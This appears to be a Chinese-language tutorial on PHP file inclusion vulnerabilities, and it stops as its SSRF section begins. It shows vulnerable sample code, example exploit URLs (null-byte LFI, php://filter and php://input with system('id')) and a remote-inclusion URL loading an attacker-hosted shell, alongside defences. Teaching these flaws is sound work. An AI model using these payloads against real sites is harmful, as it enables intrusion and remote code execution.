在Web安全领域,PHP应用程序的安全问题一直备受关注。本文将深入探讨两种常见的PHP安全漏洞:文件包含漏洞和服务器端请求伪造(SSRF),帮助开发者理解漏洞原理、利用方式以及防御措施。

第一部分:文件包含漏洞详解

什么是文件包含漏洞

文件包含漏洞是PHP应用程序中常见的安全问题,当开发者使用包含函数引入文件时,如果传入的文件名参数未经严格校验,攻击者就可能利用这个漏洞读取敏感文件甚至执行恶意代码。

危险函数

PHP中有四个主要的文件包含函数:

  • include()
  • include_once()
  • require()
  • require_once()

文件包含漏洞类型

1. 本地文件包含(LFI)

利用方式:

  • 直接读取Flag文件
  • 通过PHP伪协议读取源代码
  • 写入PHP木马获取webshell

示例代码:

1

2

3

4

5

6

7

8

<?php

$file = $_GET['file'];

if(file_exists('/home/www/'.$file.'.php')) {

    include '/home/www/'.$file.'.php';

} else {

    include '/home/www/'.'home.php';

}

?>

利用方法:

1

http://www.example.com/demo1.php?file=flag.php%00

2. PHP伪协议利用

常用伪协议:

file:// 协议:

1

http://www.example.com/index.php?file=file://D:/phpStudy/WWW/flag.txt

php://filter:

1

http://example.com/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

php://input:

1

2

3

POST /index.php?file=php://input HTTP/1.1

...

<?php system('id'); ?>

3. 远程文件包含(RFI)

必要条件:

  • allow_url_fopen = On
  • allow_url_include = On

示例代码:

1

2

3

4

<?php

$basePath = @$_GET['param'];

require_once $basePath.'/action/m_share.php';

?>

利用方法:

1

http://www.example.com/demo4.php?param=http://www.xx.com/attacker/PHPshell.txt?

防御措施

1.白名单验证

2.禁用危险配置:

1

2

allow_url_fopen = Off

allow_url_include = Off

3.设置open_basedir

4.严格校验用户输入

5.避免动态包含

第二部分:SSRF漏洞深入解析

什么是SSRF?

SSRF(Server-Side Request Forgery)是一种由攻击者构造形成由服务端发起请求的安全漏洞。攻击者可以利用此漏洞访问外网无法访问的内部系统。

更多推荐